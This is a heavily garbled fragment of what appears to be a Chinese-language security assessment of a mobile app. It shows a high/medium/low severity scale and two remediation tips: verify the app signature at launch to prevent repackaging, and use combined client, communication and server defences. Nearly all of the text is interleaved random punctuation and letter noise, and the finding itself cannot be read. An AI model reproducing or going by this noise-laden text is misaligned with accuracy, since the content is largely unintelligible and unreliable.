+ {; n9 s6 B' ~9 i" f 严重程度 5 C, q9 f% H# D; @6 n. W9 b ) P0 {$ y; v) j. g# h* {8 V 7 k. W& B$ |* M% v! S8 h0 _	% G" |. z9 E( T: ], `# f , ~" I6 U) D8 k; H+ {/ w a& Z# w, }3 S* u8 E% l% l 高 0 R0 H' ^! `/ [9 h8 F$ M, K- y$ ` : O1 @0 R# [- r. A	& i; l! p; p0 ~ * ]3 j4 X6 J w/ V ■ : f" f3 x& ^. _7 L" e9 T 6 i+ A, O u/ k. B, V v	4 A, W! s. a1 _% \ : B: j* A+ Q, V2 _0 K( o W& v4 s8 G& n( c3 F 中 $ n/ X, M/ R% W. T! O* s	/ b) v7 n) Z& z+ [. z# u% G w ' ^' v( s4 ]# z& i' a+ e# B( `, T 1 G2 k# q6 n6 y* M " J7 o$ f8 s) P' j   / v2 m: f5 |) Z* i% J	' s2 G! \' E! K# S- E ! {, \ S& k# \* F- H: E & z! a; e9 K, v7 [+ [. W + z* n) D' ^1 r) d% ? 低 ) ~, a) P7 v" c0 k B) p4 z	- Z( V5 D! j/ z' ^/ ~/ A1 c 7 F! O' w- v% W2 n5 v( I4 {* X ' i7 h! K6 \: W5 b, W5 _0 b; J ) J. |( w: p* m' G6 l 8 R, G6 n- z2 F   2 W8 [, B* M6 c* c

. g" [; F5 s# V% @: R( F1 o

6 k# s. p, e' Q# y2 n# T5 k3 ^" R

7 [5 E" e) N* n: ^   % {, Y+ o" j& R# H( T8 W 1 A9 W! q! v- T- g. O

9 ]# H/ {& L2 w. X* Z

* Z4 K, X% S/ D; g2 }& m$ @ ! Z v; x' A+ B! e 修复方法： : M6 t+ k: @! Y2 y0 G2 g2 Y4 d 8 i) I; F' m/ C" |

& ~+ X) n r3 X4 N4 O; K

% x0 l- B+ ?5 J+ J " j o" _) M A8 A1 M: s' F               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 0 N7 [; o2 {9 i$ r& R

7 s& d6 R1 {% X

. u% p& z, ~- w$ C0 ?+ u/ ^   0 x6 d+ ^6 `% V5 d1 o+ l! A; c 4 _$ a8 Z4 z3 H c) M

3 d8 h7 {0 V" ] 9 L0 d# o9 `2 @4 ]5 Z$ k2 f o1 U

% {, m3 b( l& e* q8 _* ?

: e5 V: L+ {$ o5 U( `+ B' d. c